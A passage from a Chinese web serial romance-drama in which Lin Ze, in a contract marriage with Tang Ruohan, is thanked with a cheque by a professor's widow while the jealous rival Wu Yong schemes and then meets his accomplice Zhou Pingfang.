听到师母的声音没有什么异样,唐若涵悬着的心这才放下去一些。 那天出了别墅以后,唐若涵一直忧心老太太会想不开,现在接了这通电话,唐若涵也不用继续担心了。 只是,中午跟林泽去师母那里…… 唐若涵还在犹豫,老太太的声音再一次传来。 “若涵,是不方便吗?如果你们有事情,那就算了,都怪我没有提前给你们打电话,自己就开始准备饭菜了。” “不用,师母,刚才的信号有些不好,您放心,我跟林泽会过去的。” “那就好,那我等着你们,”说到这里,老太太仿佛又想起了什么,“对了,刚才你说吴庸也在你身边是吧,让他也一块过来吧!” “好的,我会把您的意思告诉他。” 接下来,两个人又说了两句,老太太这才挂断电话。 唐若涵看看吴庸,目光当中充满询问。 车里的环境非常安静,唐若涵相信,即便不用扬声器,吴庸也能将内容听得清清楚楚。 现在。 就看吴庸会不会去师母那边了。 此刻。 吴庸嗓子里如同卡了一只苍蝇,那种吐不出来咽不下去的感觉,要多难受有多难受。 老太太联系不上林泽,亲自打电话给唐若涵。 这一腔热情表现得淋漓尽致。 还亲自做饭,专门感谢。 到了最后,竟然来了一句,“让他一块过来吧”,那种被施舍的感觉,表现得太明显了! 若是放在以往,他肯定不会多想。 但现在不同。 很明显,如果他要过去,这一顿饭就是沾了林泽的光! 说得更加直白一些。 如果没有林泽,如果不是今天正在跟唐若涵在一起,老太太是绝对不会打电话让他过去吃饭的。 这叫什么事? 如果把这比作买东西,估计自己连赠品的档次都够不上! “吴庸,一会儿你过去吗?” 唐若涵声音温婉,主动问了一句。 …… 盛世豪庭。 林泽刚出厨房,张军的电话便打过来了。 “老林,案子破了,草,你说的还真准,那两个家伙真有事儿!” 电话那边。 张军声音激动,音调都跟着提高八个度。 林泽脸上却是平静的状态。 “那恭喜你,这么快就交代了,也省得你继续在这件事情上浪费时间。” “我跟你讲,那两个就是生瓜蛋子,一开始的时候嘴硬,我们把人往审讯室里一关,大门敲得咚咚响,俩家伙立刻就怂了。” “他们不仅交代了那个老物件是仿的,还让我们审出以前的两个案子。” “问起案件性质,肯定是要做上几年的,这事多亏了你啊,你说,我得欠你多少人情?” 林泽嘴角扬起。 “我们之间,还用说这个?” “话是这么说,可交情归交情,工作归工作,完全两码子事,对了,你当初是怎么发现不对劲的?” 回想起那日在赵明来别墅的情形,张军也深表疑惑。 干警察好几年了,张军自认为自己的观察能力是极强的。 没想到,林泽比自己更细致。 要不是林泽提醒他,那个矮子有问题,他还真没从犯罪那边考虑。 对于张军的问题,林泽早就已经想好了回答策略。 “那人眼睛一直转个不停,贼眉鼠眼的,一看就不是好人。” “再加上周平方总是在有意无意地维护他们,我就觉得不正常。” “当时,你们都把注意力放在那个老物件的价格上,我就多观察了一下那个人。” 张军听完恍然大悟。 “原来是这样,还别说,你真让我另眼相看,就那天的一番辩驳,把姓吴的那个崽子带过去的人都比下去了,老林,你可真行啊!深藏不露!” “别在我脸上贴金了,这还不是拜你所赐?大学四年,整天跟着你跑图书馆,你看那些刑侦小说,我实在无聊就翻看文物古籍,没想到,还真用上了。” 林泽的一番话说得滴水不漏。 张军听完,当场哈哈大笑。 “咱们这是共同进步,共同提升啊!” 话音刚落。 林泽手机屏幕上又显示一个未接来电。 号码是唐若涵的。 “好了,老张,我们回头再聊,我先回个电话。” “行,那你先忙,挂了啊!” 张军说完便将电话挂断。 林泽则是重拨了唐若涵的电话号码。 同时,林泽抬眼看了一下墙上的钟表。 林泽猜测,唐若涵这个时候打电话过来,应该是不回来吃饭了。 “唐总,您好,有什么事吗?” “林泽,你准备一下,一会儿我们去赵教授的别墅,师母想让我们一块去吃个便饭。” 林泽一怔。 “唐总,赵夫人是有什么事情吗?” “也没有什么大事,那天的事情,他想对你跟张军表示感谢,所以亲自做的饭菜,估计张军也会过去。” 此话一出,林泽脸上再次露出疑惑之色。 自己刚刚跟张军通了电话,他也没说要去老太太那吃饭啊? 不过,转念一想,他们只聊到一半,唐若涵的电话就打过来了。 说不定。 张军还没来得及告诉自己这件事。 “十五分钟以后,我会到别墅,你抓紧时间收拾一下。” 唐若涵的声音再一次响起。 “好的,唐总。” 林泽声音平静,简单地回答了四个字。 第一卷 第79章 让你逃过一劫! 唐若涵眼眸微颤,有一时间失神。 林泽,每次说话都是这么平静,似乎没有自己的情绪。 无论她交代各种事项,亦或是发脾气,甚至无理取闹,到了林泽那里,都掀不起任何波澜。 唐若涵想到平静一望无际的海面。 这……是包容吗? “小涵,我一会在楼下等你,你不用太着急,多长时间我都会等。” 吴庸的声音传出。 唐若涵急忙收回思绪。 “不用了,林泽开车。” “那怎么能行?”吴庸声音瞬间拔高,“小涵,我还是认为你坐我的车比较合适。” “为什么?” 唐若涵眸子当中闪过不解之色。 吴庸顿了一下,这才开口解释。 “小涵,刚才我一直在想,今天的事情为什么这么蹊跷,我觉得,应该是林泽说了什么,所以伯父伯母才会改变主意。” “毕竟之前,他们在电话里还挺高兴的。” “突然对我们这个态度,肯定有原因。” 说话时。 吴庸一直做出一副思索已久的模样。 唐若涵脸色一沉,声音当中夹杂了一丝不悦。 “吴庸,林泽不会这么做。” 回答简单肯定。 吴庸当场愣住,对于唐若涵的反应,感到极为意外。 刚才他的一番话,不过是想引导唐若涵从林泽那方面想。 没想到。 唐若涵竟然如此维护林泽。 看似平静的一句话,却让吴庸有一种唐若涵把他当成外人的感觉。 “你也别多心,我也只是猜想,毕竟,不想让我见伯父伯母的,好像只有林泽一个人了吧?” 唐若涵没说话,轻咬嘴唇,仔细品味着吴庸刚才所说。 林泽对于吴庸的态度,唐若涵不太清楚。 可吴庸一直把林泽视为敌人,这一点,她能够感觉得到。 的确。 如果没有林泽,或许她跟吴庸早已经在一起。 在他们的感情世界当中,林泽就是一个破坏者。 所以,吴庸对于林泽没有什么好印象,也很正常,这如同她当初所想。 但是,林泽不会做这种背后挑拨的事情,唐若涵也是能肯定的。 “我跟林泽就要离婚了,很快就再也没有任何关系,但我不想看到任何人诋毁他。” 三年相处下来,唐若涵没有对林泽产生感情,但林泽做的所有的事情都让人无可挑剔。 好聚好散,是唐若涵认为的对林泽的最基本的尊重。 “小涵,你好像……很维护他?” 吴庸情绪低落,问话时甚至没有看唐若涵。 “这不是维护,是事实,吴庸你可以猜想,但要尊重事实,跟你一起去看爸妈,我从没跟林泽说起过,所以不可能是他。” 唐若涵的态度让吴庸立刻改变主意。 情况有些不对。 继续这样下去,事情恐怕会偏离预想的轨道。 于是。 吴庸尴尬地笑了笑,赶紧缓和气氛。 “原来是这样,还真是我多想了,毕竟之前我跟林泽之间发生过一些不愉快,我也只是担心。” “对了,不如这样,回头有时间了,我去警察局销案,看在林泽照顾了你三年的份上,他勒索我的事就算了。” “如果他再提出要钱,我干脆就给他,毕竟在这三年当中,我没有陪在你的身边,每次想到这些,我都感觉非常愧疚。” 吴庸说的这一番话并不着急,给了唐若涵足够思索的时间。 同时也在暗示唐若涵,林泽还会要钱。 他之所以会给,完全出于对唐若涵的愧疚。 可唐若涵脑海当中却冒出另外一个想法。 林泽,他会向吴庸要钱吗? 50万,无论是在她看来,还是在吴庸的眼里都不算什么。 可这对于家境贫寒的林泽来说,却是一笔不小的数目。 林泽要钱干什么? 他说还还没有想出答案,吴庸的汽车已经停下。 小区门口。 “盛世豪庭”四个大字异常醒目。 唐若涵深吸一口气。 “吴庸,谢谢你送我回来,一会儿我们在师母楼下集合。” “那好吧,我等你。” 吴庸心中不甘,依依不舍地看着唐若涵。 唐若涵笑笑,没有接他的话茬。 抬腕看了一下手表,这个时间点,林泽应该已经准备好了。 吴庸一直望着窗外。 直到唐若涵的背影消失不见,他这才将汽车掉头。 一瞬间。 眼神变得冰冷无比。 唐若涵,已经开始维护林泽,这说明,林泽在她的心里有一定的位置。 “该死,为什么不能痛快利索地离婚!真该死!” 吴庸咬牙切齿,一拳砸在方向盘上。 “滴——” 尖锐的喇叭声传来。 吴庸瞬间打了个激灵。 …… “林泽,你爷爷身体状况怎么样了?” 汽车里很安静,林泽专心致志地望着正前方。 唐若涵看着林泽的侧脸问。 自从上次在医院里闹过不愉快,唐若涵便没有问起过林振山的事情。 甚至可以说,这也是三年以来,她第一次询问林振山的情况。 林泽眼眸一暗,心像是被什么东西揪了一下子。 “医生说,情况不太好,身体有不少器官已经出现衰竭的症状。” 虽然尽量让语气平静,可林泽握着方向盘的手,由于用力,指尖还是在渐渐发白。 “衰竭?为什么会这样?” 林泽脸上露出苦笑,“医院的说法很官方,现在,只盼着爷爷能够挺过去。” 唐若涵的眸子当中闪过一丝迟疑。 “那……现在应该需要用钱吧?” 提到钱。 气氛突然变得微妙。 两个人的脸上都露出不自然的表情。 林泽垂下眼眸,掩饰住内心所有的情绪。 他不明白唐若涵为什么会这么问,联想到吴庸诬陷他的事情,林泽的声音再次变得清晰。 “谢谢唐总的关心,医院那边还没有到特别需要钱的时候。” “好,如果有需要,你告诉我一声。” “好的,谢谢唐总。” 话题到此结束。 接下来。 一路上,谁也没有再提医院那边的事情。 …… 吴庸时不时地看一下后视镜。 不远处就是唐若涵的车。 虽然看不到里面的情形,可吴庸还是忍不住想瞄一眼。 想到唐若涵可以温柔地跟林泽说话,吴庸心中便开始抓狂。 突然。 吴庸拿起旁边的手机,迅速拨通一个电话号码。 没等对方开口。 吴庸便急切地说出一句,“原计划取消,今天不要对林泽动手!” “收到!” 听到对方这样讲,吴庸才松了一口气。 现在唐若涵跟林泽在一起。 他又知道晚上他们要去沈家的事情。 如果林泽今天出事,唐若涵免不了会怀疑到他的头上。 “林泽,算你今天走运,逃过一劫!” 第一卷 第80章 手里多了一张支票。 吴庸将油门踩到底,瞬间超过好几辆车。 直到后视镜当中再也看不到唐若涵的汽车,情绪这才稳定下来。 突然。 一辆警车出现。 几乎是眨眼的功夫便超到他的前面! “开警车有什么了不起,老子……” 吴庸恼火,迅速调整方向盘,可是,话只说到一半,又赶紧闭上嘴巴。 这警车……该不会是张军的吧? 不管是不是,吴庸瞬间想起张军跟他针锋相对的情形。 那个警察,专门跟他过不去! 吴庸甚至猜想,他是不是林泽专门找过去对付自己的? 之前在赵教授的追悼会上,后来又是文物鉴定的时候,对了,还有一次,张军还把自己带到警察局! 所有这些,都是他跟自己过不去的证据。 如此想着,吴庸又狠狠地翻了个白眼。 …… 张军到达小洋楼不久,吴庸也到了。 接着,便是唐若涵跟林泽一块走进来。 屋子里依旧是之前的陈设,唯一增加的是饭菜的香味。 唐若涵吸吸鼻子,笑盈盈地看向老太太。 “师母,好香啊!今天我可是有口福了,”说到这儿,唐若涵还歪着头想了想,“上次在您这里蹭饭,还是一个多月以前吧?” 老太太解下围裙,目光当中充满慈爱。 “是啊,上次你还夸我做的糖醋里脊好吃,那时候,老赵还活着。” 提到赵明来教授,老太太语气当中又多了一丝伤感。 唐若涵急忙上前,“师母,您知道我最佩服您什么吗?” 老太太一愣,“什么?” “我最佩服您处事不惊的态度,在您的身上,永远有一股平和的气息,让人感觉很舒服。” 唐若涵很认真,把话说完以后还点点头。 老太太苦笑着摇摇头。 “你呀,就会变着法地哄我,行了,我知道你要说什么,日子总要往前看,我不能倒下去,老赵还有很多没有办完的事情需要我去办。” “对,您能想得如此通透,那就再好不过,以后有什么需要我的地方,您尽管开口。” 看到老太太状态已经恢复得差不多,唐若涵又多说了一句。 这时。 吴庸的声音忽然传来。 “对,师母,我们都在您身边,有什么事情您说话,我们都是赵教授的学生,关于那些老物件,也都懂一些。” 再次提到文物,吴庸的话语说得非常含蓄。 “哈哈哈,哎哟,笑死我了!” 张军发出来的笑声瞬间让吴庸的表情僵住。 其他人也都看向张军这边。 显然,这笑声太突兀了。 “张警官,有什么事情这么开心?”吴庸黑着一张脸询问。 张军清清嗓子,声音犀利。 “吴庸,你不觉得好笑吗?就你那鉴定团队,上一次差一点把老太太给坑了,现在,你还有脸说你对老物件懂一些,你懂什么?” 当着唐若涵和老太太的面,张军一点面子也没有给吴庸留。 尽管心中已经乱作一团,可吴庸还是着急辩驳。 眼下这种情形,如果不解释些什么,那岂不是坐实了他什么都不懂的这种说法? 尴尬的皱皱眉头,吴庸仰头看向张军。 “张警官,话不能这么说,我这边虽然是鉴定机构,但手底下工作人员的能力参差不齐,我想,就连国家鉴定机构也不会贸然讲,他们鉴定的物品就是100%正确吧?” 张军丝毫不买账。 “你还想跟国家鉴定机构相比?你有那个能力吗?” “我现在甚至想看看,你们的鉴定机构有没有资格证?有没有艺术品经营单位的备案证明?” “你手底下的那些鉴定人员,有没有鉴定师证书?” 一连串的询问让吴庸当场蒙圈,就连声音都跟着慌乱。 “张警官,我不明白你这么做是什么意思?这里不是警局,这个房间也不是你的审讯室,我也不是你的犯人!” “没错,”张军转头看了一下老太太等人,“还请大家原谅,我这也是职业习惯。” 说到这里,张军专门顿了一下,重新将目光放在吴庸的身上,这才缓缓继续开口。 “要不是上次老太太差点被你给骗了,我这次也不会如此小心谨慎。” “我的意思是……我骗人?” “惊讶什么?是不是的,你自己心里清楚。” 张军轻飘飘地瞥了吴庸一眼。 吴庸瞬间脸红脖子粗,连手上的青筋都暴起了。 看到场面尴尬,老太太赶紧上前解围。 “张警官,我知道你是一片好心,吴庸也只是好心办了坏事,这件事情就过去了,咱们谁也别提了。” 老太太不这么说还好,她如此一讲,吴庸更加尴尬。 好心……办坏事? 这就是师母对自己的评价吗? 而且还是当着唐若涵的面,这简直尴尬死了! 不过,事已至此,吴庸也只好顺着老太太的话往下说。 “还是师母看得通透,之前的那几个人,我已经把他们开除了,师母放心,他们再也不会出现在我的鉴定机构。” “那倒是不错,怕就怕他们是替人背了锅。” 刚刚闭上嘴巴的张军,这个时候突然又来了一句。 吴庸缓缓转头,眼珠子都要从眼眶子里瞪出来! 林泽小心地碰了碰张军的胳膊,“行了,少说两句。” 张军挑挑眉毛,意思非常明显。 仿佛在说,我就是故意的,我恨不得把他气死! 唐若涵也觉得尴尬,转头看向老太太:“师母,这一大桌子饭菜都是你一个人忙活的,您太辛苦了,还有没有需要我帮忙的?” 老太太一下子缓过神,“是啊,光顾着说话了,怎么都不说吃饭的事情,大家赶紧洗手,咱们马上开饭。” 张军闭上嘴巴,吴庸自然不敢再轻易招惹。 于是。 几个人洗完手以后都坐在餐桌前。 整整一大桌子菜,色香味俱全。 老太太最后一个上桌,手里拿了一瓶开了的红酒。 将面前的两个杯子倒满,他亲自递到林泽和张军的面前。 林泽张军二人急忙起身。 “您不用如此客气,我们自己来就行。” 听林泽这样讲,老太太摇了摇头。 “林先生,张警官,这杯酒,是我敬你们的,如果没有你们的辛苦,老赵的案子不可能这么快就查明真凶,我敬你们!” 说着,老太太举起红酒杯,轻抿了一口。 林泽和张军相互看了一眼,也端起酒杯。 酒已经喝了,可对面的老太太根本没有坐下的意思,而是重新举杯看向林泽。 “林先生,我还要专门感谢你,张警官都跟我讲了,不管是破案还是这次的文物鉴定,都是你的功劳,我谢谢你了。” 林泽还没有缓过神,老太太又喝了一口。 于是。 林泽也只好奉陪。 见林泽喝完酒,老太太突然伸手摸向口袋。 再次抬起头来时,手里竟然多了一张……支票! 第一卷 第81章 一个愿打一个愿挨,关你屁事? 在场的人全都愣住,吴庸更是目瞪口呆。 老太太连敬了林泽两杯酒,他心里本来就不痛快,现在又看到老太太拿出支票,吴庸整个人都懵了。 “师母,您这是……” 吴庸实在不甘心,当场问出一句。 老太太笑着看了看众人,最终将目光停在林泽的身上。 “今天找你们过来,不光是为了吃饭,主要还是感谢林先生。” “这张支票金额不大,但我还是希望林先生能收下,这段时间,辛苦林先生帮忙了。” 老太太一脸真挚,双手拿着递到林泽面前。 “赵夫人,您别这样,支票您放好,我不收。” 林泽当场拒绝。 不管是赵明来的案件,还是后来的文物鉴别,他都是为了帮忙。 现在收老太太的钱,那算怎么回事? 对于林泽的这种做法,老太太似乎已经料到了,所以拿着支票的手一直没有收回去。 “林先生,这点心意,您务必收下,我跟老赵无儿无女,我们两个都有退休金,这些年也攒下了一些积蓄,这些钱对于我们来说,不是什么大数,所以真的是表达心意。” “如果您不收下这钱,这饭我都吃不下去了。” “我相信,如果老赵还活着,他也支持我这么做。” 老太太坚持,盯着林泽的脸一动也不动。 话已经说到这个份上,林泽跟着皱起眉头。 一时间,左右为难。 “行了,老林,要我说,要不你就收下吧,推辞来推辞去的,倒显得矫情。” “是啊,林先生,如果不是你的帮忙,我的损失300多万,这钱,你务必要收下。” 林泽看了看面前的支票,双手接过。 “好,那就谢谢了。” “不客气,是我应该谢你才对,”见林泽收下支票,老太太脸上的神情立刻变得轻松,“好了,大家别再愣着了,快点动筷子,菜凉了可就不好吃了。” 说话的功夫,老太太首先端起饭碗。 林泽将支票放入口袋,顺便也拿起筷子。 “呵呵……”吴庸冷笑,声音也跟着提高,“这么快就接过去了,是不是一开始就想着收下?刚才的拒绝,也不过是做做样子吧?” 说着,吴庸特意瞟了林泽一眼。 “赵教授品格高尚,为保护文物奉献了一生,他的案子能让你帮忙,那是你的荣幸,你可倒好,还收起费来了,你就不觉得这钱拿着烫手?” 见众人不说话,吴庸干脆转头看向唐若涵。 “小涵,看到没有,遇到大事的时候才能看清楚一个人的品行,这些乡巴佬就是贪婪,见钱眼开,表面上装作拒绝,实际上心里早就乐开花了吧!” 吴庸还想要说什么,突然被唐若涵凌厉的声音打动。 “够了,你说完了没有,这件事情跟你没有关系!” 唐若涵的声音当中夹杂着怒火,精致面孔上的怒意也掩饰不住。 吴庸一下子懵了,嘴巴虽然张着,脑袋却已经死机。 怎么回事? 唐若涵这是在帮着林泽说话吗? 当着这么多人的面,她竟然一点面子也不给自己留? 什么时候,她跟林泽这么好了? 难道,她也把林泽当成朋友了吗? 要知道如果没有林泽的出现,唐若涵的生活完全可以过得更好,都是因为林泽,她现在才进退两难。 “小涵,我说错什么了吗?”吴庸一脸委屈,声音当中也透露着疑惑。 唐若涵面无表情,嘴唇抿得紧紧的。 林泽是什么样的品性?用不着吴庸来提醒。 刚才他那一句乡巴佬就是贪婪,实在是太伤人了。 张军眉头皱成一团,直接放下筷子回怼。 “姓吴的,你什么意思,见不得别人好是不是?出于感激,赵夫人给予林泽报酬,属于心甘情愿,林泽接受,也是发自内心。” “人家两个人你情我愿,关你屁事?” “不会是因为没给你钱,你心里不平衡了吧,也不想想你办的那缺德事,300多万,差一点就被你坑了,你还有脸在这儿讨论别的人品,你臊不臊?” 张军声音响起的时候,吴庸脑袋已经嗡嗡作响。 完了。 又把这个刺猬给招惹上了! 张军一开口,吴庸就知道没好事,只是没有想到,他的话说得如此犀利。 “不是,张警官,我跟你犯冲是不是,怎么每次你都针对我?” “自找的。” 短短三个字说出来,张军无比痛快。 吴庸被怼得一句话也说不出来,只能呼哧呼哧地生闷气。 “我已经……”吴庸好不容易开口,却又被老太太的话给截住了。 “小吴,张警官说得对,我真是自愿的,这是我的心意,林泽把钱收下,正是我希望看到的。” 老太太给了明确的答复。 同时。 又像是把吴庸直接推进深渊。 抬眼看了一下周围,吴庸又气又尴尬。 张军本来就跟林泽是一伙的,这个不用说。 可。 现在师母跟唐若涵也帮着林泽说话。 整个饭桌上,感情就他一个人是外人了? 感觉脸颊火辣辣的烫,吴庸闷声闷气地从喉咙里挤出几个字。 “好,随你们。” “吃饭吃饭,再不吃,饭菜真就要凉了。” 老太太脸上再次露出笑意,当场拿起公筷给林泽夹了一块红烧肉。 “林先生,尝尝我的手艺,这红烧肉,早上起来我就做上了,闷了好几个小时呢。” “谢谢,赵夫人。” 林泽点头致谢。 接下来。 老太太示意大家都尝一尝。 这一顿饭算是正式开始。 眼看着师母把林泽当宝贝一样捧着,吴庸的脸色一直阴沉一片。 刚吃几口米饭就觉得心里头堵得慌,到最后,气都有些喘不过来了。 早知道师母还会唱这一出,他肯定不会跟着唐若涵过来。 夸奖林泽的时候,师母没有贬低他。 可师母的所作所为,要把心里的情绪表现得清清楚楚。 这不免让人多想。 一时间。 吴庸又有些慌乱。 难不成,周平方那个王八蛋说了什么,所以师母对他的态度才这样冷淡? 吴庸越想越不对劲,所以一直在找时机。 终于,看到一个保姆模样的人走过来,他这才装作不经意地询问。 “师母,这是谁,新请的保姆吗,看着有些面生。” 老太太听完当即回答。 “对,小李这两天刚来家里,对这里的情况还不太熟悉。” “那个小周呢,我记得以前他一直在这儿来着。” 提到周平方,吴庸没有指名道姓,专门称呼他小周,是为了不想让人们多想他跟周平方的关系。 问话的时候,吴庸一直看着老太太的脸。 似乎想从她的脸上观察出什么来。 老太太笑笑,性质很明显的没有刚才高。 “你说的是周平方啊,这边也没有多少事情了,我让他回去了,现在老赵不在了,他一直在我这里也是浪费时间。” 吴庸一愣。 周平方被赶出去了? 看来,老太太是真的怀疑周平方了。 不知不觉间,吴庸咬了咬嘴唇,心情更加忐忑。 第一卷 第82章 你知道你被绿了? “其实小周留在您身边也不算是耽误工夫,可如果他同意离开,那就另说了。” 吴庸尴尬的笑笑,像是在掩饰什么。 张军跟林泽相互看了一眼,两个人都没说话。 奇怪的是,老太太竟然也没有接上吴庸的话茬。 屋子里的气氛瞬间多了一丝其他的意味。 “对了,张警官,之前来这里的那两个人,现在怎么样了?” 老太太话题一转,目光看向张军。 张军重重咳嗽一声,声音洪亮。 “那两个人啊,坐牢是肯定的,有些事情涉及内部纪律,不方便讲,但这一次,绝对够他们呛!” “不光他们,但凡有跟这件案子有关联的人,也都被我们列为重点调查对象。” “此次案件性质极其恶劣,影响极坏,上头更是点名,一定要追究到底!” 不大的客厅里,一直在回想张军的声音。 吴庸心惊胆战,耳朵也跟着嗡嗡。 该死的周平方,这下把他给害惨了! 如果事情真像张军说的那样,弄不好还得把他给拖下水! 吴庸失神。 刚一抬眼,突然发现张军正盯着自己这边。 “张警官,你老看我干嘛?好像我是你们重点调查对象一样,该查谁查谁去呗,老观察我干什么?” 吴庸尽量让自己做出平静的状态,可说出来的话,声音都开始发颤。 张军有点憋不住,努力忍着才没有让自己笑出声音。 吴庸肯定是心虚了。 早就看他不顺眼,果然不是什么好鸟! 既然如此,那就再给他加点眼药。 张军上前一步,仔仔细细地打量了一下吴庸,意味深长的说出一句。 “吴先生,有些事情涉及内部机密,确实不方便透露,但是我还是要说一句,最近消停一些,别扎刺!” 此话一出。 吴庸目瞪口呆。 接下来。 几个人又陪着老太太聊了一会儿,大家说得都很开心,唯独吴庸心不在焉,整个人像丢了魂一样。 临走之际。 老太太亲自把他们送出门。 看到张军要上车,老太太悄悄上前。 “张警官,我知道你们警局里的纪律,怕给你添麻烦,我让人做了几面锦旗给警局送过去,老赵的事情,谢谢你了!” 张军咧嘴一笑,“哎哟,这个好,那锦旗一挂,比什么都值钱!赵夫人,那我就谢谢你了。” “这都是我应该做的,你跟林泽都是好人,回头不忙了,记得来家里吃饭。” “好,我一定记着!” 张军对着老太太点了点头,这才上车招呼林泽。 “老林,你跟你媳妇走还是跟我走?” 张军嗓门本来就高,这一嗓子吼出来,十来米开外都能听得清清楚楚。 林泽看看唐若涵,“唐总,我要送您回公司吗?” “不用,我自己开车回去。” 唐若涵声音平静,并没有生气的样子。 林泽随即说道:“那我跟老张一块走,一会儿就回去了。” 唐若涵嗯了一声,随后接过林泽手里的车钥匙。 不远处。 吴庸眼睛里都要冒出火来。 看着唐若涵和林泽一块说话,他恨不得立刻冲上前去把两个人分开。 可即便心中怒火中烧,表面上他还得装出一副无所谓的样子。 这状态别提有多难受了。 …… 上车一支烟。 一直是张军的老习惯。 刚把烟叼到嘴里,还没点上,张军已经看向临泽这边。 “老林,你跟你老婆……是不是有什么问题?你俩到底是因为什么原因结婚的?” 林泽一怔。 还没开口说话,张军赶紧又补充了一句。 “别跟我说什么情呀爱呀,我不信!” 林泽故意装出平静的样子,“怎么问起这个来了?” “别搪塞我,我可是警察,”猛吸一口,张军发狠地吐出一口烟,“你观察细致,面对案件总能发现别人发现不了的线索,但是我的直觉很灵敏。” “你跟唐若涵不像是两口子,还有姓吴的,他老在你跟你媳妇儿中间掺和什么?” “我不是专门打听八卦,也不是挑唆,你那媳妇儿跟姓吴的肯定有事儿!” 张军说话的时候,林泽一直默不作声。 他既然把话说到这个份上,林泽也没有必要继续瞒着。 所以等到张军说完,林泽苦笑了一下。 “你的直觉还真灵敏。” 话一开口,林泽突然觉得轻松。 妥妥的一种如释重负的感觉。 “真的呀?草!不是,老林,你媳妇儿跟吴庸真有事儿?你知道你被绿了?” 张军声音陡然提高好几个度,伸手抓了好几下头皮。 感觉到自己的情绪有些冲动,又刻意将语速放缓。 “那什么,你先别难过,你要是不愿意说,这话我就收回……” 虽然跟林泽关系很好,可被绿这种事情,到底是好说不好听的。 张军不再说话。 林泽也没有当即开口,而是思索,这个时候如果把真相告诉张军,是不是违反了合同条款? 想想条款内容,还有天价违约金。 最终,林泽还是犹豫了。 “老张,再过几天,等机会合适了,我把一切都告诉你,现在还差几天。” 张军听得云里雾里。 要说等机会合适,他能理解,可林泽说差几天,是什么意思? 怎么还扯上日期了? 张军神情一直很专注,手里的烟灭了都不曾察觉。 叹了一口气,重新看向林泽。 “行,什么时候想说了你再说,不过哥们还是要提醒你一句,你的媳妇儿怎么样我不太了解,但是这姓吴的,你得小心点儿。” “我知道,我会小心的。” …… 唐若涵一个人开车,吴庸想追上去。 可看看张军的警车,最后又打消了念头。 唐家别墅那边发生的事,唐若涵心中有愧,这一点毋庸置疑。 但是在师母这边,他没有给唐若涵留下什么好印象,吴庸心里也跟明镜一样。 倘若这个时候再追上去,只会让唐若涵心烦意乱。 于是,吴庸打电话告诉唐若涵注意安全,便转头去了公司的方向。 想想张军之前说的,吴庸眉头又皱成一个疙瘩。 这家伙说的到底是真的还是假的? 那个什么张哥的案子,影响力真的那么大,连上头的人都惊动了? 他说得让自己消停些,最近别炸刺,到底是几个意思? 吴庸一边想一边倒吸凉气。 一直到达公司大厅,吴庸都没有缓过神。 “吴总。” 一道温婉甜美的声音传来,吴庸瞬间回头。 说话的是前台的服务员,肤白貌美,大长腿。 此刻。 女服务员正眨巴着眼睛看向他这边。 吴庸面无表情,声音冷峻。 “什么事?” “吴总,有位先生正在会客室等您,他提前没有预约,但他说,见不到您,是不会离开的。” 女服务员有些为难,眸子当中充满询问。 吴庸眉头一皱,脸上瞬间露出不悦之色,“谁?” 第一卷 第83章 姓吴的,你太黑了! “吴总,那位先生只说他姓周,没有登记。” 周平方? 吴庸心里咯噔一下子! 不会这么巧吧? 刚想躲着他,他竟然找上门来了! 这个姓周的也太不长眼力见了,现在是什么时候,警局那边查得正紧,他跑自己这里干嘛来了? 吴庸脸上升起一丝愠怒,“知道了,别理他,让他继续等着!” 说完,赶紧又补充,“如果他问,就说我不在!” 吴庸抬脚往前走,突然又转身。 这个时候还是不要回办公室,万一真被撞到了,该怎么办? 前台的女服务员微笑点头,瞬间,笑容便僵在脸上。 没来得及开口说话,一道急切的声音便响起。 “吴总,这是要去哪儿?” 吴庸后背发直,心情瞬间进入谷底。 还没想好怎么说,周平方已经快步来到他跟前。 “吴总,你不会是故意躲着我吧?” 吴庸尽量装作平静,“哪里,想到有份文件在车上,正要去拿,对了,你怎么过来了,有什么事?” 周平方上下打量了一下面前的人,接着看看周围。 “事情是有一些的,不过在这里讲恐怕不合适,要不,咱们找个地方说话?” 知道躲不过,吴庸只好说道:“去旁边咖啡馆吧,你先去订一个包间,我一会找你。” 公司里人多眼杂,万一让人看到他跟周平方在一起,免不了会是麻烦事。 去咖啡馆就便捷多了。 两人一前一后,不会引起太多人的注意。 周平方听完也没有拒绝,只是谨慎地提醒,“那我先过去,你可一定要来,你要不来,我明天还在这儿守着。” 吴庸尴尬笑笑。 “我还不至于躲着你,去吧。” 亲眼见周平方离开,吴庸脸色瞬间拉下来。 这该死的狗皮膏药,该不会粘上自己了吧? 本来想不予理会,现在想想,把事情说清楚也好,省得周平方那边出什么幺蛾子。 脑海当中闪过这个想法,吴庸迅速转身。 十五分钟后。 吴庸将车停在周平方发过来的位置。 咖啡馆“Bean”的招牌,异常醒目。 还好这个时间点人们喝咖啡的并不多。 下车以后,吴庸匆匆走进。 二楼包间内。 周平方面前放着的那杯咖啡,丝毫没动。 门外响起了脚步声,周平方迅速转头。 看到吴庸的那一刹那,他的目光怔了一下。 “还以为你不会来,我总觉得你在躲着我。” “躲你干什么,鉴定机构那边你又不是不知道,人多眼杂的,我怕让人误会。” 吴庸一边说,一边坐在周平方的对面。 此刻,房间里只有他们两个人,说话也不必拐弯抹角。 吴庸刚定下神,便直接开口。 “事情搞砸了,这事也就过去了,谁也别提了。” “师母那边,有时间了,我会在她面前帮你说些好话,你也不要有太大的压力。” “听师母说,你现在没有在赵家别墅,跟着赵教授几年,虽然不算镀金,但提到赵教授,估计你再找工作也不至于坏到哪里去。” 周平方没说话,一直垂眸盯着面前的咖啡。 吴庸尽量把话说得轻松,话里话外,都是劝周平方的意思。 “我知道你想找工作,但我这边的情况,你不了解,能进我的鉴定机构的,大都是有身份有背景的人,你还……” “姓吴的,别太欺负人!你以为我过来找你,是为了让你给我找工作的!” 吴庸话没说完,周平方突然崩溃! 大喊一声过后,接着又猛拍了一下桌子。 “砰!” 巨大的声响传出。 杯子里的咖啡都被溅出不少。 “你干嘛,疯了你呀,跟我拍起桌子来了,谁给你的胆子!” 吴庸当场拉下脸,目光当中也闪过狠辣之色。 “不好意思,先生,有什么需要帮忙的?” 服务员推门而入,满脸震惊。 吴庸没有回头,当场摆摆手,“没事,我们自己可以处理。” “好的先生,请注意保持安静,不要影响其他的顾客,如果有什么事情,您可以随时叫我们。” “知道了。”吴庸尽量压着内心的怒火。 直到服务员重新将门关上,他这才看向对面的人。 此刻,周平方一脸颓废,无精打采。 盯着自己的眼睛里,还能看到红血丝。 吴庸不屑的冷哼。 “等我这么长时间,就是为了拍一下桌子?周平方,你就这点出息?” 周平方瞪圆眼睛,手上也鼓起青筋,终于从喉咙里挤出一句。 “吴庸,我是来要钱的。” “什么钱?跟我要什么钱?” 